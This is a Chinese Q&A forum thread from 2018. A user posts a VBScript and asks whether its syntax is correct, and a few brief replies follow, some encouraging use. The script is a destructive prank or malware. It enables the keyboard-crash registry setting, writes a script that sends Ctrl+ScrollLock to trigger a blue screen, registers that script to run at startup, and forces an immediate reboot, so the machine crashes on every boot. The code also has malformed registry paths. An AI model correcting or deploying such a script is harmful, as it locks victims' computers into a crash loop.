哪个大佬来检查一下我的VBS代码语法对不对

2018-12-28 18:20发布

Dim OperationRegistry

Set OperationRegistry=WScript.CreateObject("WScript.Shell")

Set fso=createobject("scripting.filesystemobject")

Default=OperationRegistry.RegRead("HKLM")

OperationRegistry.Regwrite"HKLMSYSTEMCurrentControlSetServicesi8042prtParametersCrashOnCtrlScroll",1,"REG_DWORD"

OperationRegistry.Regwrite"HKLMSYSTEMCurrentControlSetServices\kbdhidParametersCrashOnCtrlScroll",1,"REG_DWORD" '蓝屏规则注册表修改

Dim fso,wsh

dim txtfile

content="set ws=wscript.createobject("wscript.shell");ws.Sendkeys"^{SCROLLLOCK}{SCROLLLOCK}""

Set fso = CreateObject("scripting.filesystemobject")

Set wsh= CreateObject("Wscript.Shell") 

Set myfile=fso.CreateTextFile( "C:V.txt",,ture)

str=Split(content,";")

content=""

For Each i In str

myfile.WriteLine i

Next 

myfile.Close

wsh.Run "cmd.exe /c ren C:V.txt C:V.vbs"

set myfile=nothing

set wsh=nothing '蓝屏按键写入注册表

Dim AutoRunProgram

Set AutoRunProgram=WScript.CreateObject("WScript.Shell")

RegPath="HKLMSoftwareMicrosoftWindowsCurrentVersionRun"

Type_Name="REG_SZ"

Key_Name="V.vbs"

Key_Data="C:V.vbs"

AutoRunProgram.Write RegPath&Key_Name,Key_Data,Type_Name '开机就蓝屏

set ws=createobject("wscript.shell")

ws.run"cmd.exe /c shutdown -r -f -t 00" '立刻重启

11条回答
犹江观心
1楼 · 2018-12-28 19:11.采纳回答

你这个难度系数太高了

匿名网友
2楼-- · 2018-12-28 19:15

用个翻译软件检查下

西湖鲨鱼
3楼-- · 2018-12-28 19:10

亲:这个基本正确。

优星宝
4楼-- · 2018-12-28 19:08

对的!可以!直接用吧!

骚风
5楼-- · 2018-12-28 19:04

语法有点问题,把前置一下就可以了

一周热门 更多>